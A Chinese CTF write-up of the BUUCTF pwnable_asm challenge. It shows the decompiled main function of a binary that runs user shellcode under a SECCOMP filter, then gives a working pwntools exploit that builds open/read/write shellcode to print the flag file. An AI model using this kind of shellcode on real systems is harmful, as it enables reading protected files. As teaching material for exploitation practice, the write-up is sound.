BUUCTF-PWN-pwnable_asm-Sandbox

关注

原创最新推荐文章于 2026-05-19 00:19:47 发布 501 阅读 AI 写同款· GEO 优化 ›

[BUUCTF]PWN——mrctf2020_shellcode_revenge（可见字符shellcode） mrctf2020_shellcode_revenge 例行检查，64位程序，开启了RELRO和PIE 本地运行看一下大概的情况 64位ida载入，没法f5，直接看汇编 jg大于则跳转，jl小于则跳转，jump无条件跳转要让程序继续执行下去，肯定是跳转loc_11AC loc_123A loc_11B8 cdqe使用eax的最高位拓展rax高32位的所有位 movzx则是按无符号数传送+扩展（16-32） EAX是32位的寄存器，而AX是EAX的低16位,AH是ax的高8位，而AL是ax的低阅读详情

1.checksec+运行

2.IDA常规

1.main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rdx
  char *s; // [rsp+18h] [rbp-8h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Welcome to shellcoding practice challenge.");
  puts("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.");
  puts("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.");
  puts("If this does not challenge you. you should play 'asg' challenge :)");
  s = (char *)mmap((void *)0x41414000, 0x1000uLL, 7, 50, 0, 0LL);
  memset(s, 144, 0x1000uLL);
  v3 = strlen(stub);
  memcpy(s, stub, v3);
  printf("give me your x64 shellcode: ");
  read(0, s + 46, 0x3E8uLL);
  alarm(0xAu);
  chroot("/home/asm_pwn");
  sandbox("/home/asm_pwn");
  ((void (__fastcall *)(const char *))s)("/home/asm_pwn");
  return 0;
}

检查允许的系统调用

orw是允许的,用open()打开flag文件，通过read()和write()读取并输出

3.EXP

from pwn import *
context(os="linux", arch="amd64")
p = process("./asm")


ad = 0x41414000+0x100
code = shellcraft.open("./flag")
code += shellcraft.read(3, ad, 0x50)
code += shellcraft.write(1, ad, 0x50)
code = asm(code)

p.send(code)
p.interactive()

收录于